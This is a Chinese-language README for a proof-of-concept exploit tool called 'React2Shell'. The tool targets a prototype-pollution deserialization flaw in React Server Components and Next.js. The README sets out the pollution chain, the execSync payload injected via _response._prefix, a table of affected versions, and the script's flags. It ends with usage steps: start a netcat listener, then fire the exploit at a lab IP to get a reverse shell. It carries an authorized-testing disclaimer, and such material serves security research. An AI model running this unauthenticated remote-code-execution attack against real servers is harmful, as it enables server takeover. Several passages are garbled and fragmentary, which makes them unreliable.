
CVE-2025-55182/66478 的概念验证漏洞利用程序,这是一个 React Server Components 反序列化远程代码执行漏洞,通过精心构造的 multipart 请求传递反向 Shell。
针对 CVE-2025-55182 的概念验证漏洞利用程序——公开昵称为
“React2Shell”——这是 React 服务器组件中服务器操作反序列化
(react-server-dom-webpack / -parcel / -turbopack)的一个服务器端原型污染漏洞,
Next.js 将其跟踪为 CVE-2025-66478(被 NVD 以重复为由拒绝,
但仍是讨论该漏洞对 Next.js 具体影响时常用的标识符)。
一个精心构造的 multipart HTTP 请求即可污染 Object.prototype 并
遍历原型链以到达 Function 构造函数,使未认证的攻击者能够在
服务器进程中运行任意 Node.js 代码——CVSS 评分为 10/10。
根本原因。 RSC 操作回复反序列化器(requireModule)会解析客户端发送的对象路径
(例如 "$1:__proto__:then"),而不验证目标键是否为保留/危险键
(如 __proto__)。在普通对象上设置 会污染
本身,因此之后创建的每个对象都会继承
攻击者控制的属性。
__proto__Object.prototype利用链。
then → "$1:__proto__:then" — 深入原型链。_response._formData.get → "$1:constructor:constructor" — 从
被污染的原型遍历到 Function 构造函数。_response._prefix — 攻击者控制的字符串,被拼接进
当服务器尝试解析伪造的“thenable”(一个假的 Promise 类对象)时执行的代码中。
此 PoC 将其设置为 process.mainModule.require('child_process').execSync('<cmd>')。0、1)的形式提交到
应用根路径的 POST 请求中,并带有 Next-Action 头,
该请求会直接路由到易受攻击的服务器操作处理器。受影响版本(根据 Datadog 分析文章):
| 库 | 受影响版本 | 已修复版本 |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
使用 App Router 时,Next.js 15.x、16.x 和 14.3.0-canary.77+ 均受影响。 已在 15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7 和 16.0.7 中修复。
仅限授权的安全测试和教育用途(例如 CTF/HTB 实验室、您自己的基础设施,或具有书面授权的测试项目)。 请勿针对您不拥有或没有明确测试权限的系统运行此工具。
curlbashnc -lvnp <port>),除非您通过 -c 提供自己的命令busybox nc(或根据目标上可用的 shell 工具调整 -c),
默认的反向 shell 命令才能正常工作chmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| 标志 | 必填 | 说明 |
|---|---|---|
-t, --target | 是 | 运行易受攻击的 Next.js 应用的目标主机/IP |
-L, --lport | 是* | 您的监听器绑定的本地端口 |
-p, --port | 否 | 目标端口(默认:3000) |
-l, --lhost | 否 | 用于回调的您的 IP(默认:自动检测) |
-i, --iface | 否 | 用于自动检测 --lhost 的接口 |
-c, --command | 否 | 在目标上运行的自定义命令(覆盖默认的反向 shell) |
--timeout | 否 | curl 请求超时时间(秒)(默认:3) |
-v, --verbose | 否 | 打印请求/响应详情 |
-h, --help | 否 | 显示帮助 |
* 如果改为提供 -c/--command,则不需要。
# 1) 启动监听器
rlwrap nc -lvnp 9090
# 2) 触发漏洞利用
./exploit.sh -t 10.129.245.214 -L 9090